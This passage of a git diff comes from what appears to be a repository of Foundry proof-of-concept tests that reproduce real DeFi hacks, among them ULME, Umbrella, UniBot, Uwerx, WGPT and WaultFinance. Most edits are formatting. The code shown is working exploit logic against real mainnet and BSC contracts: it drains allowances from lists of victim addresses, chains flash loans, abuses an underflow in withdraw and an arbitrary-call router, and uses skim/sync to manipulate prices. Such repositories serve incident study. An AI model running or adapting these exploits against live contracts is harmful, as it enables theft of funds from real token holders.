0x17f217Fdeff7Ee4a81a4b2f42c695EDC20806957; + victims[44] = 0x41819F36878d15A776225928CD52DC56acCFD553; + victims[45] = 0x61ca76703C5aF052c9b0aCc2Bab0276875DDd328; + victims[46] = 0x2956bCc87450B424C7305C4c6CF771196c23A52E; + victims[47] = 0x03be05224803c89f3b8C806d887fD84A20D16e5C; + victims[48] = 0x3C97320bf030C2c120FdCe19023A571f3fbB6184; + victims[49] = 0xc52021150ca5c32253220bE328ddC05F86d3a619; + victims[50] = 0x6d7aAa35c4B2dBD6F1E979e04884AeE1B4FBB407; + victims[51] = 0x7c80162197607312EC99d7c9e34720B3572d6D16; + victims[52] = 0x15D92C909826017Ff0184eea3e38c36489517A7C; + victims[53] = 0xC07fa7a1F14A374d169Dc593261843B4A6d9C1C3; + victims[54] = 0x4b415F48FA70a9a0050F6380e843790260973808; + victims[55] = 0x9CeEeB927b85d4bD3b4e282c17EB186bCDC4Dd15; + victims[56] = 0x0eb76DAf60bdF637FC207BFb545B546D5Ee208B1; + victims[57] = 0x96D7F1660e708eDdF2b6f655ADB61686B59bC190; + victims[58] = 0xDCeB637E38dBae685222eEf6635095AaaEC65496; + victims[59] = 0x36083Aac533353317C24Bd53227DbF29Ed9F384c; + victims[60] = 0x94913f31fBaFcb0ae6e5EfA4C18E3ee301097eab; + victims[61] = 0x188c50F43f9fA0026BAaa7d8cF83c358311f0500; + victims[62] = 0x3d8dcC70777643612564D84176f769A1417987a5; + victims[63] = 0x00273CEEe956543c801429A886cD0E1a79f5d8cA; + victims[64] = 0xC43C5F785D06b582E3E710Dc0156267Fd135C602; + victims[65] = 0x0406aefd83f20700D31a49F3d6fdbF52e8F7D0Ef; + victims[66] = 0xBeD8C7433dE90D349f96C6AE82d4eb4482AA6Bf7; + victims[67] = 0xDe436F7742cE08f843f8d84e7998E0B7e4b73101; + victims[68] = 0xd38c6E26aa4888DE59C2EAaD6138B0b66ABBF21D; + victims[69] = 0xc0dFb3219F0C72E902544a080ba0086da53F9599; + victims[70] = 0xFAAD61bd6b509145c2988B03529fF21F3C9970B2; + victims[71] = 0x9f9BEEF87Cfe141868E21EacbDDB48DF6c54C2F2; + victims[72] = 0x6614e2e86b4646793714B1fa535fc5875bB446d5; + victims[73] = 0x7eFe3780b1b0cde8F300443fbb4C12a73904a948; + victims[74] = 0xAd813b95A27233E7Abd92C62bBa87f59Ca8F9339; + victims[75] = 0x13F33854cE08e07D20F5C0B16884267dde21a501; + victims[76] = 0x59ebcde7Ec542b5198095917987755727725fD1d; + victims[77] = 0xe5A5B86119BD9fd4DF5478AbE1d3D9F46BF3Ba5F; + victims[78] = 0xC2724ed2B629290787Eb4A91f00aAFE58F262025; + victims[79] = 0xDFa225eB03F9cc2514361A044EDDA777eA51b9ad; + victims[80] = 0x85d981E3CDdb402F9Ae96948900971102Ee5d6b5; + victims[81] = 0xb0Ac3A88bFc919cA189f7d4AbA8e2F191b37A65B; + victims[82] = 0x1A906A9A385132D6B1a62Bb8547fD20c38dd79Bb; + victims[83] = 0x9d36C7c400e033aeAc391b24F47339d7CB7bc033; + victims[84] = 0x5B19C1F57b227C67Bef1e77b1B6796eF22aEe21B; + victims[85] = 0xbfd0785a924c3547544C95913dAC0b119865DF9e; + victims[86] = 0xF003E6430fbC1194ffA3419629A389B7C113F083; + victims[87] = 0xfa30Cd705eE0908e2Dac4C19575F824DED99818E; + victims[88] = 0xe27027B827FE2FBcFCb56269d4463881AA6B8955; + victims[89] = 0xEddD7179E461F42149104DCb87F3b5b657a05399; + victims[90] = 0x980FcDB646c674FF9B6621902aCB8a4012974093; + victims[91] = 0x2eBc77934935980357A894577c2CC7107574f971; + victims[92] = 0x798435DE8fA75993bFC9aD84465d7F812507b604; + victims[93] = 0x1Be117F424e9e6f845F7b07C072c1d67F114f885; + victims[94] = 0x434e921bDFe74605BD2AAbC2f6389dDBA2d37ACA; + victims[95] = 0xaFacAc64426D1cE0512363338066cc8cABB3AEa2; + victims[96] = 0x2693e0A37Ea6e669aB43dF6ee68b453F6D6F3EBD; + victims[97] = 0x77Aee2AAc9881F4A4C347eb94dEd088aD49C574D; + victims[98] = 0x951f4785A2A61fe8934393e0ff6513D6946D8d97; + victims[99] = 0x2051cE514801167545E74b5DD2a8cF5034c6b17b; + victims[100] = 0xC2EE820756d4074d887d762Fd8F70c4Fc47Ab47f; + + uint256 lost = 0; + // start exploit buyMiner function + for (uint256 i; i < victims.length; i++) { + address victim = victims[i]; + uint256 allowance = usdt.allowance(victim, address(ulme)); + uint256 balance = usdt.balanceOf(victim); + uint256 available = balance <= allowance ? balance : allowance; // available USDT + + if (available > 0) { + uint256 amount = available * 10 / 11; // according to the buyMiner function, *10/11 to drain all USDT + ulme.buyMiner(victim, amount); + lost += available; + } else { + emit log_named_address("Insufficient USDT", victim); + } + } + emit log_named_decimal_uint("Total lost USDT", lost, usdt.decimals()); + + ULME2USDT(); + + usdt.transfer(dodo7, quoteAmount); + } + } + + function DVMFlashLoanCall(address sender, uint256 baseAmount, uint256 quoteAmount, bytes calldata data) external { + dodoCall(sender, baseAmount, quoteAmount, data); + } + + function DPPFlashLoanCall(address sender, uint256 baseAmount, uint256 quoteAmount, bytes calldata data) external { + dodoCall(sender, baseAmount, quoteAmount, data); + } + + function USDT2ULME() internal { + address[] memory path = new address[](2); + path[0] = address(usdt); + path[1] = address(ulme); + router.swapExactTokensForTokensSupportingFeeOnTransferTokens( + 1_000_000 ether, 0, path, address(this), block.timestamp + ); + } + + function ULME2USDT() internal { + address[] memory path = new address[](2); + path[0] = address(ulme); + path[1] = address(usdt); + router.swapExactTokensForTokensSupportingFeeOnTransferTokens( // ULME token has transfer fees + ulme.balanceOf(address(this)) - 100, // can not swap all, according to the transactionFee function + 0, + path, + address(this), + block.timestamp + ); + } +} diff --git a/src/test/UN_exp.sol b/src/test/UN_exp.sol index 8fc07571..7250c785 100644 --- a/src/test/UN_exp.sol +++ b/src/test/UN_exp.sol @@ -32,14 +32,14 @@ contract ContractTest is Test { function testExploit() public { emit log_named_decimal_uint( "Attacker BUSD balance before attack", BUSD.balanceOf(address(this)), BUSD.decimals() - ); + ); // End of preparation. Attack start DPPOracle.flashLoan(0, 29_100 * 1e18, address(this), new bytes(1)); emit log_named_decimal_uint( "Attacker BUSD balance after attack", BUSD.balanceOf(address(this)), BUSD.decimals() - ); + ); } function DPPFlashLoanCall(address sender, uint256 baseAmount, uint256 quoteAmount, bytes calldata data) external { diff --git a/src/test/Uerii_exp.sol b/src/test/Uerii_exp.sol index f57a3431..d4574640 100644 --- a/src/test/Uerii_exp.sol +++ b/src/test/Uerii_exp.sol @@ -9,12 +9,11 @@ import "./interface.sol"; // TX // https://etherscan.io/tx/0xf4a3d0e01bbca6c114954d4a49503fc94dfdbc864bded5530b51a207640d86b5 -interface UER20 is IERC20{ +interface UER20 is IERC20 { function mint() external; } -contract ContractTest is DSTest{ - +contract ContractTest is DSTest { UER20 UER = UER20(0x418C24191aE947A78C99fDc0e45a1f96Afb254BE); IERC20 USDC = IERC20(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48); IERC20 WETH = IERC20(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2); @@ -23,23 +22,19 @@ contract ContractTest is DSTest{ CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D); function setUp() public { - cheats.createSelectFork("mainnet", 15767837); + cheats.createSelectFork("mainnet", 15_767_837); } - function testExploit() public{ - uint ETHBalanceBefore = address(this).balance; + function testExploit() public { + uint256 ETHBalanceBefore = address(this).balance; UER.mint(); - UER.approve(address(Router), type(uint).max); - USDC.approve(address(Router), type(uint).max); + UER.approve(address(Router), type(uint256).max); + USDC.approve(address(Router), type(uint256).max); UERToUSDC(); USDCToWETH(); - uint WETHProfit = WETH.balanceOf(address(this)); + uint256 WETHProfit = WETH.balanceOf(address(this)); - emit log_named_decimal_uint( - "[End] Attacker WETH balance after exploit", - WETHProfit, - 18 - ); + emit log_named_decimal_uint("[End] Attacker WETH balance after exploit", WETHProfit, 18); } function UERToUSDC() internal { diff --git a/src/test/Umbrella_exp.sol b/src/test/Umbrella_exp.sol index 40612919..1aa508d9 100644 --- a/src/test/Umbrella_exp.sol +++ b/src/test/Umbrella_exp.sol @@ -14,7 +14,6 @@ import "./interface.sol"; interface IStakingRewards { function withdraw(uint256 amount) external; } - contract AttackContract is Test { CheatCodes constant cheat = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D); @@ -22,14 +21,14 @@ contract AttackContract is Test { IERC20 constant uniLP = IERC20(0xB1BbeEa2dA2905E6B0A30203aEf55c399C53D042); function setUp() public { - cheat.createSelectFork("mainnet", 14421983); // Fork mainnet at block 14421983 + cheat.createSelectFork("mainnet", 14_421_983); // Fork mainnet at block 14421983 } function testExploit() public { - emit log_named_decimal_uint("Before exploiting, Attacker UniLP Balance", uniLP.balanceOf(address(this)),18); + emit log_named_decimal_uint("Before exploiting, Attacker UniLP Balance", uniLP.balanceOf(address(this)), 18); + + StakingRewards.withdraw(8_792_873_290_680_252_648_282); //without putting any crypto, we can drain out the LP tokens in uniswap pool by underflow. - StakingRewards.withdraw(8792873290680252648282); //without putting any crypto, we can drain out the LP tokens in uniswap pool by underflow. - /* StakingRewards contract, vulnerable code snippet. function _withdraw(uint256 amount, address user, address recipient) internal nonReentrant updateReward(user) { @@ -39,7 +38,6 @@ contract AttackContract is Test { _totalSupply = _totalSupply - amount; _balances[user] = _balances[user] - amount; //<---- underflow here. */ - emit log_named_decimal_uint("After exploiting, Attacker UniLP Balance", uniLP.balanceOf(address(this)),18); - + emit log_named_decimal_uint("After exploiting, Attacker UniLP Balance", uniLP.balanceOf(address(this)), 18); } } diff --git a/src/test/UniBot_exp.sol b/src/test/UniBot_exp.sol index eaf6a08a..1ecd7b2b 100644 --- a/src/test/UniBot_exp.sol +++ b/src/test/UniBot_exp.sol @@ -7,16 +7,13 @@ import "./interface.sol"; // @KeyInfo -- Total Lost : ~83,994 USD$ // Attacker : https://etherscan.io/address/0x413e4fb75c300b92fec12d7c44e4c0b4faab4d04 // Attack Contract : https://etherscan.io/address/0x2b326a17b5ef826fa4e17d3836364ae1f0231a6f -// Attacker Transaction : +// Attacker Transaction : // https://etherscan.io/tx/0xcbe521aea28911fe9983030748028e12541e347b8b6b974d026fa5065c22f0cf - // @Analysis // https://twitter.com/PeckShieldAlert/status/1719251390319796477 -interface IUniBotRouter { - -} +interface IUniBotRouter {} // The hacker sent multiple transactions to attack, just taking the first transaction as an example. @@ -28,15 +25,16 @@ contract IUniBotRouterExploit is Test { WETH9 WETH = WETH9(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2); function setUp() public { - cheats.createSelectFork("https://rpc.ankr.com/eth",18467805); + cheats.createSelectFork("https://rpc.ankr.com/eth", 18_467_805); cheats.label(address(router), "UniBotRouter"); cheats.label(address(UniBot), "UniBot Token"); } function testExploit() public { - - emit log_named_decimal_uint("Attacker UniBot balance before exploit", UniBot.balanceOf(address(this)), UniBot.decimals()); + emit log_named_decimal_uint( + "Attacker UniBot balance before exploit", UniBot.balanceOf(address(this)), UniBot.decimals() + ); address[] memory victims = new address[](17); @@ -58,24 +56,24 @@ contract IUniBotRouterExploit is Test { victims[15] = 0x8a1Ee663e8Cd3F967D1814657A8858246ED31444; victims[16] = 0x92c3717A1318cf0e02883Ca0BAE73bd90469325A; - bytes4 vulnFunctionSignature = hex"b2bd16ab"; address[] memory first_param = new address[](4); first_param[0] = address(0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE); first_param[1] = address(UniBot); first_param[2] = address(UniBot); first_param[3] = address(UniBot); - for (uint i = 0; i < victims.length; i++) { + for (uint256 i = 0; i < victims.length; i++) { uint256 allowance = UniBot.allowance(victims[i], address(router)); uint256 balance = UniBot.balanceOf(victims[i]); balance = allowance < balance ? allowance : balance; - bytes memory transferFromData = abi.encodeWithSignature("transferFrom(address,address,uint256)", victims[i], address(this), balance); - bytes memory data = abi.encodeWithSelector(vulnFunctionSignature, first_param,0,true,100_000, transferFromData,new address[](1)); - (bool success,bytes memory result) = address(router).call(data); - + bytes memory transferFromData = + abi.encodeWithSignature("transferFrom(address,address,uint256)", victims[i], address(this), balance); + bytes memory data = abi.encodeWithSelector( + vulnFunctionSignature, first_param, 0, true, 100_000, transferFromData, new address[](1) + ); + (bool success, bytes memory result) = address(router).call(data); } uint256 UniBotBalance = UniBot.balanceOf(address(this)); - emit log_named_decimal_uint("Attacker UniBot balance after exploit", UniBotBalance , UniBot.decimals()); + emit log_named_decimal_uint("Attacker UniBot balance after exploit", UniBotBalance, UniBot.decimals()); } - -} \ No newline at end of file +} diff --git a/src/test/Upswing_exp.sol b/src/test/Upswing_exp.sol index 67a305b3..05f9c686 100644 --- a/src/test/Upswing_exp.sol +++ b/src/test/Upswing_exp.sol @@ -66,6 +66,6 @@ contract UpswingExploit is Test { console.log("profit!", IERC20(weth).balanceOf(address(this)) - 1 ether); emit log_named_decimal_uint( "After exploiting, Attacker WETH Balance", IERC20(weth).balanceOf(address(this)) - 1 ether, 18 - ); + ); } } diff --git a/src/test/Utopia_exp.sol b/src/test/Utopia_exp.sol index c8b7c7de..3221bb86 100644 --- a/src/test/Utopia_exp.sol +++ b/src/test/Utopia_exp.sol @@ -23,14 +23,13 @@ interface IUtopia is IERC20 { contract UtopiaTest is Test { IERC20 WBNB = IERC20(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c); IUtopia Utopia = IUtopia(0xb1da08C472567eb0EC19639b1822F578d39F3333); - Uni_Router_V2 Router = - Uni_Router_V2(0x10ED43C718714eb63d5aA57B78B54704E256024E); + Uni_Router_V2 Router = Uni_Router_V2(0x10ED43C718714eb63d5aA57B78B54704E256024E); Uni_Pair_V2 Pair = Uni_Pair_V2(0xfeEf619a56fCE9D003E20BF61393D18f62B0b2D5); CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D); function setUp() public { - cheats.createSelectFork("bsc", 30119396); + cheats.createSelectFork("bsc", 30_119_396); cheats.label(address(WBNB), "WBNB"); cheats.label(address(Utopia), "Utopia"); cheats.label(address(Router), "Router"); @@ -42,9 +41,7 @@ contract UtopiaTest is Test { WBNB.approve(address(Router), type(uint256).max); Utopia.approve(address(Router), type(uint256).max); emit log_named_decimal_uint( - "Attacker WBNB balance before exploit", - WBNB.balanceOf(address(this)), - WBNB.decimals() + "Attacker WBNB balance before exploit", WBNB.balanceOf(address(this)), WBNB.decimals() ); WBNBToUtopia(); @@ -52,10 +49,8 @@ contract UtopiaTest is Test { // Setting balance of the pair to 1 by calculating the receiver's address // Two addresses (from, to) in seed calculation must be the same - uint256 seed = (uint160(Utopia.lastAirdropAddress()) | - uint160(block.number)) ^ - uint160(address(Pair)) ^ - uint160(address(Pair)); + uint256 seed = (uint160(Utopia.lastAirdropAddress()) | uint160(block.number)) ^ uint160(address(Pair)) + ^ uint160(address(Pair)); // tAmount may be 0 or 1 address notRandomAirdropAddr = address(uint160(seed | 1)); @@ -66,34 +61,23 @@ contract UtopiaTest is Test { UtopiaToWBNB(); emit log_named_decimal_uint( - "Attacker WBNB balance after exploit", - WBNB.balanceOf(address(this)), - WBNB.decimals() + "Attacker WBNB balance after exploit", WBNB.balanceOf(address(this)), WBNB.decimals() ); } - function pancakeCall( - address sender, - uint amount0, - uint amount1, - bytes calldata data - ) external {} + function pancakeCall(address sender, uint256 amount0, uint256 amount1, bytes calldata data) external {} function WBNBToUtopia() internal { address[] memory path = new address[](2); path[0] = address(WBNB); path[1] = address(Utopia); Router.swapExactTokensForTokensSupportingFeeOnTransferTokens( - WBNB.balanceOf(address(this)), - 0, - path, - address(this), - block.timestamp + 1000 + WBNB.balanceOf(address(this)), 0, path, address(this), block.timestamp + 1000 ); } function UtopiaToWBNB() internal { - (uint256 reserveUtopia, uint256 reserveWBNB, ) = Pair.getReserves(); + (uint256 reserveUtopia, uint256 reserveWBNB,) = Pair.getReserves(); uint256 amountOut = Router.getAmountOut(32, reserveUtopia, reserveWBNB); Utopia.transfer(address(Pair), 32); Pair.swap(0, amountOut, address(this), new bytes(1)); diff --git a/src/test/Uwerx_exp.sol b/src/test/Uwerx_exp.sol index 64014f1d..5514d563 100644 --- a/src/test/Uwerx_exp.sol +++ b/src/test/Uwerx_exp.sol @@ -17,15 +17,14 @@ import "./interface.sol"; // @Analysis // Twitter Guy : https://twitter.com/deeberiroz/status/1686683788795846657 - contract ContractTest is Test { IERC20 WETH = IERC20(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2); IERC20 WERX = IERC20(0x4306B12F8e824cE1fa9604BbD88f2AD4f0FE3c54); Uni_Router_V2 Router = Uni_Router_V2(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); Uni_Pair_V2 pair = Uni_Pair_V2(0xa41529982BcCCDfA1105C6f08024DF787CA758C4); - + function setUp() public { - vm.createSelectFork("https://eth.llamarpc.com", 17826202); + vm.createSelectFork("https://eth.llamarpc.com", 17_826_202); vm.label(address(WETH), "WETH"); vm.label(address(WERX), "WERX"); vm.label(address(Router), "Router"); @@ -37,32 +36,36 @@ contract ContractTest is Test { deal(address(WETH), address(this), 20_000 ether); WETH.approve(address(Router), type(uint256).max); WERX.approve(address(Router), type(uint256).max); - + pair.sync(); address[] memory path = new address[](2); path[0] = address(WETH); path[1] = address(WERX); - Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(20_000 ether, 0, path, address(this), block.timestamp); - + Router.swapExactTokensForTokensSupportingFeeOnTransferTokens( + 20_000 ether, 0, path, address(this), block.timestamp + ); + + WERX.transfer(address(pair), 4_429_817_738_575_912_760_684_500); - WERX.transfer(address(pair), 4429817738575912760684500); - pair.skim(address(0x01)); pair.sync(); path[0] = address(WERX); path[1] = address(WETH); - Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(WERX.balanceOf(address(this)), 0, path, address(this), block.timestamp); + Router.swapExactTokensForTokensSupportingFeeOnTransferTokens( + WERX.balanceOf(address(this)), 0, path, address(this), block.timestamp + ); emit log_named_decimal_uint( "Attacker WETH balance after exploit", WETH.balanceOf(address(this)), WETH.decimals() ); emit log_named_decimal_uint( - "Attacker WETH balance after exploit, ETH PROFIT", WETH.balanceOf(address(this)) - 20_000 ether, WETH.decimals() + "Attacker WETH balance after exploit, ETH PROFIT", + WETH.balanceOf(address(this)) - 20_000 ether, + WETH.decimals() ); - } -} \ No newline at end of file +} diff --git a/src/test/VINU_exp.sol b/src/test/VINU_exp.sol index ea7909d6..9c614608 100644 --- a/src/test/VINU_exp.sol +++ b/src/test/VINU_exp.sol @@ -41,7 +41,7 @@ contract VinuTest is Test { emit log_named_decimal_uint( "Attacker's contract WETH balance before attack", WETH.balanceOf(address(this)), WETH.decimals() - ); + ); address[] memory path = new address[](2); path[0] = address(WETH); @@ -69,7 +69,7 @@ contract VinuTest is Test { emit log_named_decimal_uint( "Attacker's contract WETH balance after attack", WETH.balanceOf(address(this)), WETH.decimals() - ); + ); } } diff --git a/src/test/ValueDefi_exp.sol b/src/test/ValueDefi_exp.sol index a1edebdf..e5cccfd7 100644 --- a/src/test/ValueDefi_exp.sol +++ b/src/test/ValueDefi_exp.sol @@ -55,6 +55,6 @@ contract ContractTest is DSTest { emit log_named_decimal_uint( "[End] Attacker vSafeWBNB balance after exploit", vSafeVaultWBNB.balanceOf(attacker), 18 - ); + ); } } diff --git a/src/test/WGPT_exp.sol b/src/test/WGPT_exp.sol index a2fe7439..146b4582 100644 --- a/src/test/WGPT_exp.sol +++ b/src/test/WGPT_exp.sol @@ -23,39 +23,26 @@ interface IWGPT is IERC20 { } contract WGPTTest is Test { - IERC20 private constant BUSDT = - IERC20(0x55d398326f99059fF775485246999027B3197955); + IERC20 private constant BUSDT = IERC20(0x55d398326f99059fF775485246999027B3197955); // Token created by the exploiter - IERC20 private constant ExpToken = - IERC20(0xe1272a840F574b68dE861eC5009784e3411cb96c); - IWGPT private constant WGPT = - IWGPT(0x1f415255f7E2a8546559a553E962dE7BC60d7942); - Uni_Router_V2 private constant Router = - Uni_Router_V2(0x10ED43C718714eb63d5aA57B78B54704E256024E); + IERC20 private constant ExpToken = IERC20(0xe1272a840F574b68dE861eC5009784e3411cb96c); + IWGPT private constant WGPT = IWGPT(0x1f415255f7E2a8546559a553E962dE7BC60d7942); + Uni_Router_V2 private constant Router = Uni_Router_V2(0x10ED43C718714eb63d5aA57B78B54704E256024E); // Pancake Pair created by the exploiter - Uni_Pair_V2 private constant BUSDT_ExpToken = - Uni_Pair_V2(0xaa07222e4c3295C4E881ac8640Fbe5fB921D6840); - Uni_Pair_V2 private constant WGPT_BUSDT = - Uni_Pair_V2(0x5a596eAE0010E16ed3B021FC09BbF0b7f1B2d3cD); - IDPPOracle private constant DPPOracle1 = - IDPPOracle(0xFeAFe253802b77456B4627F8c2306a9CeBb5d681); - IDPPOracle private constant DPPOracle2 = - IDPPOracle(0x9ad32e3054268B849b84a8dBcC7c8f7c52E4e69A); - IDPPOracle private constant DPPOracle3 = - IDPPOracle(0x26d0c625e5F5D6de034495fbDe1F6e9377185618); - IDPPOracle private constant DPP = - IDPPOracle(0x6098A5638d8D7e9Ed2f952d35B2b67c34EC6B476); - IDPPOracle private constant DPPAdvanced = - IDPPOracle(0x81917eb96b397dFb1C6000d28A5bc08c0f05fC1d); - Uni_Pair_V3 private constant PoolV3 = - Uni_Pair_V3(0x4f3126d5DE26413AbDCF6948943FB9D0847d9818); - address private constant exploiter = - 0xdC459596aeD13B9a52FB31E20176a7D430Be8b94; + Uni_Pair_V2 private constant BUSDT_ExpToken = Uni_Pair_V2(0xaa07222e4c3295C4E881ac8640Fbe5fB921D6840); + Uni_Pair_V2 private constant WGPT_BUSDT = Uni_Pair_V2(0x5a596eAE0010E16ed3B021FC09BbF0b7f1B2d3cD); + IDPPOracle private constant DPPOracle1 = IDPPOracle(0xFeAFe253802b77456B4627F8c2306a9CeBb5d681); + IDPPOracle private constant DPPOracle2 = IDPPOracle(0x9ad32e3054268B849b84a8dBcC7c8f7c52E4e69A); + IDPPOracle private constant DPPOracle3 = IDPPOracle(0x26d0c625e5F5D6de034495fbDe1F6e9377185618); + IDPPOracle private constant DPP = IDPPOracle(0x6098A5638d8D7e9Ed2f952d35B2b67c34EC6B476); + IDPPOracle private constant DPPAdvanced = IDPPOracle(0x81917eb96b397dFb1C6000d28A5bc08c0f05fC1d); + Uni_Pair_V3 private constant PoolV3 = Uni_Pair_V3(0x4f3126d5DE26413AbDCF6948943FB9D0847d9818); + address private constant exploiter = 0xdC459596aeD13B9a52FB31E20176a7D430Be8b94; CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D); function setUp() public { - cheats.createSelectFork("bsc", 29891709); + cheats.createSelectFork("bsc", 29_891_709); cheats.label(address(BUSDT), "BUSDT"); cheats.label(address(ExpToken), "ExpToken"); cheats.label(address(WGPT), "WGPT"); @@ -73,16 +60,12 @@ contract WGPTTest is Test { function testExploit() public { deal(address(BUSDT), address(this), 0); - emit log_named_decimal_uint( - "Attacker BUSDT balance before", - BUSDT.balanceOf(address(this)), - BUSDT.decimals() - ); + emit log_named_decimal_uint("Attacker BUSDT balance before", BUSDT.balanceOf(address(this)), BUSDT.decimals()); ExpToken.approve(address(Router), type(uint256).max); BUSDT.approve(address(Router), type(uint256).max); WGPT.approve(address(this), type(uint256).max); - bytes - memory swapData = hex"0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000027b46536c66c8e3000000000000000000000000000000000000000000000000002a5a058fc295ed000000000000000000000000000000000000000000000000000000000000000000008c00000000000000000000000000000000000000000000065a4da25d3016c00000"; + bytes memory swapData = + hex"0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000027b46536c66c8e3000000000000000000000000000000000000000000000000002a5a058fc295ed000000000000000000000000000000000000000000000000000000000000000000008c00000000000000000000000000000000000000000000065a4da25d3016c00000"; if (WGPT.isSwap()) { WGPT.burnToken(); @@ -91,101 +74,42 @@ contract WGPTTest is Test { assertEq(WGPT.burnRate(), 2000); vm.startPrank(address(this), exploiter); - BUSDT_ExpToken.swap( - BUSDT.balanceOf(address(BUSDT_ExpToken)) / 10, - 90e18, - address(this), - swapData - ); + BUSDT_ExpToken.swap(BUSDT.balanceOf(address(BUSDT_ExpToken)) / 10, 90e18, address(this), swapData); vm.stopPrank(); - emit log_named_decimal_uint( - "Attacker BUSDT balance after", - BUSDT.balanceOf(address(this)), - BUSDT.decimals() - ); + emit log_named_decimal_uint("Attacker BUSDT balance after", BUSDT.balanceOf(address(this)), BUSDT.decimals()); } - function pancakeCall( - address _sender, - uint256 _amount0, - uint256 _amount1, - bytes calldata _data - ) external { + function pancakeCall(address _sender, uint256 _amount0, uint256 _amount1, bytes calldata _data) external { BUSDT.transfer(address(WGPT), 1); BUSDT.transfer(address(WGPT_BUSDT), 2); - DPPOracle1.flashLoan( - 0, - BUSDT.balanceOf(address(DPPOracle1)), - address(this), - _data - ); + DPPOracle1.flashLoan(0, BUSDT.balanceOf(address(DPPOracle1)), address(this), _data); ExpToken.transfer(address(WGPT_BUSDT), 10); ExpToken.transfer(address(WGPT), 100); BUSDT.transfer(address(BUSDT_ExpToken), _amount0); ExpToken.transfer(address(BUSDT_ExpToken), 90_909 * 1e15); } - function DPPFlashLoanCall( - address sender, - uint256 baseAmount, - uint256 quoteAmount, - bytes calldata data - ) external { + function DPPFlashLoanCall(address sender, uint256 baseAmount, uint256 quoteAmount, bytes calldata data) external { if (msg.sender == address(DPPOracle1)) { - DPPOracle2.flashLoan( - 0, - BUSDT.balanceOf(address(DPPOracle2)), - address(this), - data - ); + DPPOracle2.flashLoan(0, BUSDT.balanceOf(address(DPPOracle2)), address(this), data); } else if (msg.sender == address(DPPOracle2)) { - DPPOracle3.flashLoan( - 0, - BUSDT.balanceOf(address(DPPOracle3)), - address(this), - data - ); + DPPOracle3.flashLoan(0, BUSDT.balanceOf(address(DPPOracle3)), address(this), data); } else if (msg.sender == address(DPPOracle3)) { - DPP.flashLoan( - 0, - BUSDT.balanceOf(address(DPP)), - address(this), - data - ); + DPP.flashLoan(0, BUSDT.balanceOf(address(DPP)), address(this), data); } else if (msg.sender == address(DPP)) { - DPPAdvanced.flashLoan( - 0, - BUSDT.balanceOf(address(DPPAdvanced)), - address(this), - data - ); + DPPAdvanced.flashLoan(0, BUSDT.balanceOf(address(DPPAdvanced)), address(this), data); } else { - PoolV3.flash( - address(this), - 76_727_748_945_585_195_946_976, - 0, - bytes("") - ); + PoolV3.flash(address(this), 76_727_748_945_585_195_946_976, 0, bytes("")); } BUSDT.transfer(msg.sender, quoteAmount); } - function pancakeV3FlashCallback( - uint256 fee0, - uint256 fee1, - bytes calldata data - ) external { + function pancakeV3FlashCallback(uint256 fee0, uint256 fee1, bytes calldata data) external { address[] memory path = new address[](2); path[0] = address(BUSDT); path[1] = address(WGPT); - Router.swapExactTokensForTokens( - 200_000 * 1e18, - 0, - path, - address(this), - block.timestamp + 1000 - ); + Router.swapExactTokensForTokens(200_000 * 1e18, 0, path, address(this), block.timestamp + 1000); assertEq(WGPT.burnRate(), 2000); BUSDT.transfer(address(WGPT), 30_000 * 1e18); ExpToken.transfer(address(WGPT_BUSDT), 1e6); @@ -195,11 +119,7 @@ contract WGPTTest is Test { // I use following code here only for PoC to work // Start exploit while (WGPT_BUSDT.totalSupply() > 100_200 * 1e18) { - WGPT.transferFrom( - address(this), - address(WGPT_BUSDT), - WGPT.balanceOf(address(this)) / 99 - ); + WGPT.transferFrom(address(this), address(WGPT_BUSDT), WGPT.balanceOf(address(this)) / 99); WGPT_BUSDT.skim(address(this)); } // End exploit @@ -208,17 +128,10 @@ contract WGPTTest is Test { ExpToken.transfer(address(WGPT), 1000); // ExpToken.transferFrom(exploiter, address(this), 400_000 * 1e18); // No sufficient allowance so using deal cheat here - deal( - address(ExpToken), - address(this), - ExpToken.balanceOf(address(this)) + 400_000 * 1e18 - ); + deal(address(ExpToken), address(this), ExpToken.balanceOf(address(this)) + 400_000 * 1e18); path[0] = address(WGPT); path[1] = address(BUSDT); - uint256[] memory amounts = Router.getAmountsOut( - WGPT.balanceOf(address(this)) - 128e18, - path - ); + uint256[] memory amounts = Router.getAmountsOut(WGPT.balanceOf(address(this)) - 128e18, path); WGPT.transfer(address(WGPT_BUSDT), WGPT.balanceOf(address(this))); WGPT_BUSDT.swap(0, amounts[1], address(this), bytes("")); BUSDT.transfer(address(PoolV3), 76_727_748_945_585_195_946_976 + fee0); diff --git a/src/test/WaultFinance_exp.sol b/src/test/WaultFinance_exp.sol index a16a681a..40da8ab7 100644 --- a/src/test/WaultFinance_exp.sol +++ b/src/test/WaultFinance_exp.sol @@ -9,13 +9,13 @@ import "./interface.sol"; // https://inspexco.medium.com/wault-finance-incident-analysis-wex-price-manipulation-using-wusdmaster-contract-c344be3ed376 // tx // https://bscscan.com/tx/0x31262f15a5b82999bf8d9d0f7e58dcb1656108e6031a2797b612216a95e1670e -interface WUSDMASTER{ +interface WUSDMASTER { function stake(uint256) external; function redeem(uint256) external; function maxStakeAmount() external; } -contract ContractTest is DSTest{ +contract ContractTest is DSTest { IERC20 WUSD = IERC20(0x3fF997eAeA488A082fb7Efc8e6B9951990D0c3aB); IERC20 BUSD = IERC20(0xe9e7CEA3DedcA5984780Bafc599bD69ADd087D56); IERC20 USDT = IERC20(0x55d398326f99059fF775485246999027B3197955); @@ -24,91 +24,75 @@ contract ContractTest is DSTest{ Uni_Pair_V2 Pair2 = Uni_Pair_V2(0x16b9a82891338f9bA80E2D6970FddA79D1eb0daE); // WBNB USDT 